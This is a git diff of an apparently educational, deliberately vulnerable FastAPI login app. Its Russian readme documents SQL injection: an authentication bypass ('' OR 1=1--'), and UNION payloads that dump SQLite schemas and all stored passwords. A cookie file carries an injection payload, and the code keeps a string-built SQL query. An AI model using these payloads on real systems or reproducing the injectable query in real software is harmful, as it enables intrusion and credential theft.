diff --git a/compose.yaml b/compose.yaml index 61f7ff3..545866e 100644 --- a/compose.yaml +++ b/compose.yaml @@ -1,6 +1,6 @@ services: vunerable-web-app: - image: web-app:v0.0.1a + image: kulesh_web-app:v0.0.1a ports: - "80:8000" volumes: diff --git a/cookies.txt b/cookies.txt new file mode 100644 index 0000000..1510d80 --- /dev/null +++ b/cookies.txt @@ -0,0 +1,6 @@ +# Netscape HTTP Cookie File +# https://curl.se/docs/http-cookies.html +# This file was generated by libcurl! Edit at your own risk. + +localhost FALSE / FALSE 0 password a +localhost FALSE / FALSE 0 login "' or 1=1-- " diff --git a/readme.md b/readme.md index cdb3078..cfd730c 100644 --- a/readme.md +++ b/readme.md @@ -1,10 +1,112 @@ -К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi|Uvicorn) +# Kulesh_Web_app - Уязвимое веб-приложение +Это уязвимое веб-приложение создано для демонстрации SQL-инъекций и других веб-уязвимостей. Приложение написано на Python с использованием FastAPI. -**На сервере Web написать уязвимое веб-приложение Весь проект писать на рабочем столе в папке Фамилия_Web_app, где “Фамилия” - это ваша настоящая фамилия** +## Функциональность приложения + +- ✅ Регистрация пользователей +- ✅ Авторизация пользователей +- ✅ Cookie-аутентификация +- ✅ Страница приветствия для авторизованных пользователей +- ✅ Docker-контейнеризация + +## Сборка и запуск + +### Сборка Docker-образа +```bash +docker build -t kulesh_web-app:v0.0.1a . +``` + +### Запуск приложения +```bash +docker compose up +``` + +Приложение будет доступно по адресу: http://localhost:8000 + +## Работа с CURL + +### Регистрация пользователя Administrator +```bash +curl -X POST -d "login=Administrator&password=admin123" http://localhost:8000/register +``` + +### Регистрация пользователя Kulesh_AS +```bash +curl -X POST -d "login=kulesh_as&password=mypass123" http://localhost:8000/register +``` + +### Авторизация через CURL +```bash +curl -X POST -d "login=Administrator&password=admin123" -c cookies.txt http://localhost:8000/login +``` + +### Доступ к защищенной странице +```bash +curl -b cookies.txt http://localhost:8000/welcome +``` + +## ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ + +### SQL-инъекция через форму авторизации + +Приложение содержит критическую SQL-инъекцию в формах регистрации и авторизации. Уязвимый код: + +```python +cursor.execute(f"SELECT * FROM users WHERE login='{login}' AND password='{password}'") +``` + +Данные пользователя напрямую подставляются в SQL-запрос без экранирования, что позволяет выполнять произвольные SQL-команды. + +### Базовый обход аутентификации + +**Payload для поля login:** +```sql +' OR 1=1-- +``` + +**Поле password:** (любое значение) + +Этот payload закомментирует проверку пароля и войдет как первый пользователь в базе. + +### Извлечение информации о базе данных + +#### 1. Получение списка подключенных файлов БД: +```sql +' UNION SELECT 1, group_concat(name || ':' || file), 3 FROM pragma_database_list -- +``` + +#### 2. Получение списка пользовательских таблиц: +```sql +' UNION SELECT 1, group_concat(name), 3 FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' -- +``` + +#### 3. Получение схем всех таблиц: +```sql +' UNION SELECT 1, group_concat(sql, char(10) || char(10)), 3 FROM sqlite_master WHERE type='table' -- +``` + +#### 4. Извлечение всех пользователей и паролей: +```sql +' UNION SELECT id, login, password FROM users -- +``` + +#### 5. Получение данных конкретного пользователя Administrator: +```sql +' UNION SELECT id, login, password FROM users WHERE login='Administrator' -- +``` + +### Пошаговая эксплуатация + +1. **Откройте форму входа:** http://localhost:8000/login + +2. **Введите базовый payload для обхода аутентификации:** + - Login: `' OR 1=1--` + - Password: `test` + +3. **Для извлечения данных используйте UNION-based инъекцию:** + - Login: `' UNION SELECT id, login, password FROM users --` + - Password: `test` + +4. **В ответе на странице приветствия вы увидите данные всех пользователей** -1. Реализовать страницу регистрации пользователей **(1.5 балла)** -2. Реализовать страницу авторизации пользователей **(1.5 балла)** -3. Реализовать **Cookie (2 балла)** -4. Реализовать страницу **“приветствия пользователя”** (она должна выводить текст **“Привет, имя_пользователя”**) (Имя_пользователя, это переменная и должна равняться авторизованному пользователю), доступ на эту страницу только после авторизации **(2 балла)** -5. Обернуть готовое приложение в **Docker (3 балла)** \ No newline at end of file diff --git a/src/app.py b/src/app.py index b90bd1e..f0fd7a7 100644 --- a/src/app.py +++ b/src/app.py @@ -125,7 +125,7 @@ async def welcome(request: Request): if not login or not password: return RedirectResponse(url="/login") cursor.execute( - f"SELECT * FROM users WHERE login='{login}' AND password='{password}'" + f"SELECT login FROM users WHERE login='{login}' AND password='{password}'" ) user = cursor.fetchall() if user: @@ -133,7 +133,7 @@ async def welcome(request: Request):